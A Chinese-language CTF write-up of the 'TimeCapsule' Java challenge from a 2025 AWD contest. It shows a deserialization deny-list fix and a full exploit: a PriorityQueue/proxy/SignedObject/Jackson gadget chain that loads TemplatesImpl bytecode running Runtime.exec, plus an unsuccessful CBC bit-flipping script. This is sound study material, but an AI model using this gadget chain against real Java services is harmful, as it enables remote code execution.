CISCN&长城杯2025半决赛awdp复现——TimeCapsule


运气真好,混进决赛了。结果还是break不掉,唉真废物

fix

这道题当时没怎么细想它是怎么break掉的,看到util里有一个SafeObjectInputStream就直接上了个加强版的黑名单进resolveClass,然后传jar包就修好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.ctf.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/* loaded from: TimeCapsule-1.0.jar:BOOT-INF/classes/com/ctf/util/SafeObjectInputStream.class */
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
for (String deny: new String[]{
"java.net.InetAddress",
"org.aspectj.weaver.tools.cache.SimpleCache",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.alibaba.fastjson.JSONArray",
"javax.management.BadAttributeValueExpException",
"java.security.SignedObject",
"org.apache.commons.collections.functors",
"org.apache.commons.collections.Transformer",
"com.h2",
"com.h2database",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
}){
if(desc.getName().startsWith(deny)){
throw new InvalidClassException("Unauthorized ClassName " + desc.getName());
}
}
if (!desc.getName().startsWith("com.ctf.") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) {
throw new InvalidClassException("Unauthorized class deserialization", desc.getName());
}
return super.resolveClass(desc);
}
}

然后update.sh

1
2
3
4
5
#!/bin/bash

mv TimeCapsule-1.0.jar /app/TimeCapsule-1.0.jar
ps -ef | grep java | awk '{print $2}' | xargs kill -9
java -jar /app/TimeCapsule-1.0.jar

这样就修好了,只不过比赛方从第二轮开始卡check卡了半小时以上,少吃了几轮分

当时应该第一时间就这么fix的而不是想着去break的,唉,说不定能多吃几轮分

break

比赛的时候没break,去做另一道题了,回来看看怎么break的:

先看controller:

1
2
3
4
5
6
7
8
9
10
11
@PostMapping({"/register"})
public ResponseEntity<?> register(@RequestBody User user) {
if (this.userRepository.existsByUsername(user.getUsername())) {
return ResponseEntity.badRequest().body("Username already exists. ");
}
user.setSecretKey(Base64.getEncoder().encodeToString(CryptoUtils.generateKey()));
user.setPassword(this.passwordEncoder.encode(user.getPassword()));
this.userRepository.save(user);
return ResponseEntity.ok().build();
}

这个路由能够注册用户,然后生成aes key

1
2
3
4
5
6
7
8
9
@PostMapping({"/capsules"})
public TimeCapsule createCapsule(@RequestBody String content, Authentication authentication) {
TimeCapsule capsule = new TimeCapsule();
capsule.setContent(content);
capsule.setCreatedAt(LocalDateTime.now());
capsule.setCreatorName(authentication.getName());
return (TimeCapsule) this.capsuleRepository.save(capsule);
}

这个路由能够创建一个capsule,这个capsule能够储存我们传入的content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@GetMapping({"/capsules/{id}/export"})
public String exportCapsule(@PathVariable Long id, Authentication authentication) throws Exception {
User user = this.userRepository.findByUsername(authentication.getName()).orElseThrow(() -> {
return new RuntimeException("User not found");
});
TimeCapsule capsule = this.capsuleRepository.findById(id).orElseThrow(() -> {
return new RuntimeException("Capsule not found");
});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(capsule);
oos.close();
SecretKey key = new SecretKeySpec(Base64.getDecoder().decode(user.getSecretKey()), "AES");
return CryptoUtils.encrypt(bos.toByteArray(), key);
}

这个路由能够导出一个指定的capsule,该capsule导出的结果使用user的key进行了aes加密

1
2
3
4
5
6
7
8
9
10
11
12
public static String encrypt(byte[] data, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(ALGORITHM);
byte[] iv = new byte[16];
SecureRandom.getInstanceStrong().nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(1, key, ivSpec);
byte[] encrypted = cipher.doFinal(data);
byte[] combined = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, combined, 0, iv.length);
System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
return Base64.getEncoder().encodeToString(combined);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@PostMapping({"/capsules/import"})
public TimeCapsule importCapsule(@RequestBody String encryptedData, Authentication authentication) throws Exception {
User user = this.userRepository.findByUsername(authentication.getName()).orElseThrow(() -> {
return new RuntimeException("User not found");
});
SecretKey key = new SecretKeySpec(Base64.getDecoder().decode(user.getSecretKey()), "AES");
byte[] decrypted = CryptoUtils.decrypt(encryptedData, key);
ByteArrayInputStream bis = new ByteArrayInputStream(decrypted);
Throwable th = null;
try {
SafeObjectInputStream ois = new SafeObjectInputStream(bis);
Throwable th2 = null;
try {
TimeCapsule capsule = (TimeCapsule) ois.readObject();
TimeCapsule timeCapsule = (TimeCapsule) this.capsuleRepository.save(capsule);
if (ois != null) {
if (0 != 0) {
try {
ois.close();
} catch (Throwable th3) {
th2.addSuppressed(th3);
}
} else {
ois.close();
}
}
return timeCapsule;
} finally {
}
} finally {
if (bis != null) {
if (0 != 0) {
try {
bis.close();
} catch (Throwable th4) {
th.addSuppressed(th4);
}
} else {
bis.close();
}
}
}
}

最后这个路由应该是根据用户的key对传入的capsule进行解密并且反序列化

反序列化采用了自己hook的ObjectInputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().startsWith("com.ctf.") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) {
throw new InvalidClassException("Unauthorized class deserialization", desc.getName());
}
return super.resolveClass(desc);
}
}

ObjectInputStream好像只允许com.ctf.java.[B开头的类进行反序列化,简单做个测试验证一下?

比赛的时候想起来想创spring project来调一下,发现并不行.jpg,阿里云的jdk8的spring连不上,只能够用旧项目将就调

果然啊,我这里测试BadAttributeValueExpException是过不了它的验证的,也就是说只能够用这几个类来打了

题目在com.ctf.util里给了一个FieldGetterHandler能够调用getter方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class FieldGetterHandler implements InvocationHandler, Serializable {
String fieldName;

@Override // java.lang.reflect.InvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object myObject = args[0];
Class<?> clazz = myObject.getClass();
String getterMethodName = getGetterMethodName(this.fieldName, false);
Method getterMethod = clazz.getMethod(getterMethodName, new Class[0]);
return getterMethod.invoke(myObject, new Object[0]);
}

private static String getGetterMethodName(String fieldName, boolean isBoolean) {
String prefix = isBoolean ? BeanUtil.PREFIX_GETTER_IS : BeanUtil.PREFIX_GETTER_GET;
return prefix + capitalize(fieldName);
}

private static String capitalize(String str) {
if (str == null || str.isEmpty()) {
return str;
}
return str.substring(0, 1).toUpperCase() + str.substring(1);
}
}

能够通过invoke方法去调用getter,而一个handler怎么触发invoke呢?其实是通过调用动态代理中的任意一个方法调用的,demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.ctf.test;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class test {
public static void main(String[] args) {
TestInterface1 myProxy = (TestInterface1) Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler());
for(Method m : myProxy.getClass().getDeclaredMethods()){
System.out.println(m.getName());
}
myProxy.say();
}
}

interface TestInterface1{
public void say();
}

interface TestInterface2{
public void test();
}

class TestProxy{
public void eat(){
System.out.println("eat");
}

public void say(){
System.out.printf("say");
}

public String getName(String a){
return a;
}
}

class MyHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
System.out.println("Invoke dynamic proxy handler");
return null;
}
}

此处动态代理了Interface1Interface2,通过调用Interface1的say()方法能够触发invoke方法打印Invoke dynamic proxy handler

而题目中的Handler提供了调用任意getter的方法。经过测试通过proxy.invoke(xxx)来调用getter的时候其实是调用xxx的getter,因此需要一个带参的方法来调用。

那gadget呢?我最开始想的是很明显地往templatesImpl的方向去靠,尝试直接调用templatesImplgetOutputProperites方法去rce

然后需要解决invoke的fieldname问题,因为invoke调用getter的时候是根据get+fieldName来寻找方法的,而没有方法能够对fieldName赋值。这点很简单,可以直接通过反射对fieldName赋值

因此我最开始的思路就是通过readObject()->proxy.somemethod()->invoke->templatesImpl.getOutputProperties从而实现rce

但是这里其实有个问题,就是我们templatesImpl会被直接waf掉,没办法bypass。但是先不管,我现在想找到一条从入口通向somemethod()的方法

一开始我想的是通过equals(x)方法来调用,但是我没找到哪个入口能够通过readObject()方法找到equals方法调用

后来又发现proxy可以被强制转换成任意接口,从而获取到该接口的方法,这也能够调用的方法就更多了,我又尝试让他转成了Map接口,然后能够得到Mapgetput方法

get方法尝试的比较多,因为我去查了一下自己记录的资料似乎cc6能够通过AbstractMap.get()LazyMap.get()

但是前提是需要TiedMapEntry,而我们题目内没给出cc依赖,因此行不通。对于put方法倒是找到了HashSet.readObject()能够触发map.put,但是好像不行,这个map是自己创的,而不是我们的Proxy:

由此这两条路似乎都不行了,只能换个接口来代理。我看了cb链的思路,似乎可以代理Comparator,然后通过compare()方法来实现,cb链的利用链:

1
PriorityQueue.readObject() -> heapify() -> swiftdown() -> siftDownUsingComparator(k, x) -> comparator.compare(x, y)

而handler如果有多个参数,会选择第一个参数作为object来触发它的getter:

因此思路就有了:

1
PriorityQueue.readObject() -> heapify() -> swiftdown() -> siftDownUsingComparator(k, x) -> comparator.compare(x, y) -> FieldGetterHandler.invoke() -> 接上getter

第一个问题解决了,第二个问题就是怎么能够bypass这个templatesImpl的waf。其实也很简单,利用SignedObject打二次反序列化就行了,因为SignedObject全员都在java.Security包里,符合java.的限制

也就是说采用cb链触发invoke从而调用SignedObjectgetObject方法进行二次反序列化打jackson即可,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package com.ctf;

import com.ctf.util.FieldGetterHandler;
import com.ctf.util.SafeObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;

public class challenge {
public static void main(String[] args) throws Exception {
/*BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
String src = Serialize(badAttributeValueExpException);
SafeUnserialize(src);*/
TemplatesImpl templates = getTemplatesImpl();

ClassPool pool = ClassPool.getDefault();
CtClass node = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wr = node.getDeclaredMethod("writeReplace");
node.removeMethod(wr);

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
node.toClass(classLoader, null);

POJONode pojoNode = new POJONode(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
SetValue(badAttributeValueExpException, "val", pojoNode);

KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, keyPair.getPrivate(), Signature.getInstance("DSA"));


FieldGetterHandler fieldGetterHandler = new FieldGetterHandler();
Field field = fieldGetterHandler.getClass().getDeclaredField("fieldName");
field.setAccessible(true);
field.set(fieldGetterHandler, "Object");
Comparator proxy = (Comparator) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Comparator.class}, fieldGetterHandler);

// proxy.compare(signedObject, "aaa");


PriorityQueue priorityQueue = new PriorityQueue();

priorityQueue.add(1);
priorityQueue.add(1);

SetValue(priorityQueue, "queue", new Object[]{signedObject, signedObject});
SetValue(priorityQueue, "comparator", proxy);

String res = Serialize(priorityQueue);
SafeUnserialize(res);


}
public static String Serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
String res = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(res);
return res;
}

public static void UnsafeSerialize(String s) throws Exception{
byte[] decrypted = Base64.getDecoder().decode(s);
ByteArrayInputStream bis = new ByteArrayInputStream(decrypted);
ObjectInputStream safeObjectInputStream = new ObjectInputStream(bis);
safeObjectInputStream.readObject();
}

public static void SafeUnserialize(String s) throws Exception{
byte[] decrypted = Base64.getDecoder().decode(s);
ByteArrayInputStream bis = new ByteArrayInputStream(decrypted);
SafeObjectInputStream safeObjectInputStream = new SafeObjectInputStream(bis);
safeObjectInputStream.readObject();
}

private static byte[] GenerateEvil() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
return ctClass.toBytecode();
}

public static void SetValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

private static TemplatesImpl getTemplatesImpl() throws Exception{
byte[][] bytes = new byte[][]{GenerateEvil()};
TemplatesImpl templates = new TemplatesImpl();
SetValue(templates, "_bytecodes", bytes);
SetValue(templates, "_name", "aaa");
SetValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}

得到的payload能够弹计算器)

接下来最后的问题就是怎么触发了,我搭了个docker。先去/api/register注册用户:

1
2
3
4
5
6
7
8
9
10
11
@PostMapping({"/register"})
public ResponseEntity<?> register(@RequestBody User user) {
if (this.userRepository.existsByUsername(user.getUsername())) {
return ResponseEntity.badRequest().body("Username already exists. ");
}
user.setSecretKey(Base64.getEncoder().encodeToString(CryptoUtils.generateKey()));
user.setPassword(this.passwordEncoder.encode(user.getPassword()));
this.userRepository.save(user);
return ResponseEntity.ok().build();
}

然后登录,并往/api/capsules里提交我们的content:

1
2
3
4
5
6
7
8
9
@PostMapping({"/capsules"})
public TimeCapsule createCapsule(@RequestBody String content, Authentication authentication) {
TimeCapsule capsule = new TimeCapsule();
capsule.setContent(content);
capsule.setCreatedAt(LocalDateTime.now());
capsule.setCreatorName(authentication.getName());
return (TimeCapsule) this.capsuleRepository.save(capsule);
}

这个时候确实会返回一个id给我们,然后通过export来得到序列化数据流

再通过import来反序列化,但是在交content的时候直接报错了,说明不能够直接这么交。。

那就只能进行加密操作了,后面crypto一晚上也没办法打rce,太失败了。明明已经是控制好长度一致,然后用pt、ct、decode_payload异或生成新的数据流了,但是还是不行,麻了已经,附带payload:

1
2
3
4
5
6
7
def encrypt_payload(payload, pt, ct):
assert len(payload) == len(pt)
assert len(payload) == len(ct) - 16
iv = ct[:16]
return iv + "".join(
[chr(ord(a) ^ ord(b) ^ ord(c)) for a, b, c in zip(payload, pt, ct[16:])]
)

其中payload是java反序列化的payload、pt是同样的一个timeCapsule:

1
2
3
4
5
6
7
8
9
public static void CreateCapsule() throws Exception{
TimeCapsule capsule = new TimeCapsule();
capsule.setContent("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

capsule.setCreatedAt(LocalDateTime.parse("2025-03-18T22:48:49.209"));
capsule.setCreatorName("1");
capsule.setId(2L);
Serialize(capsule);
}

最后的ct是访问的值,其中有iv

算了就这样了,了解链子怎么用的就行了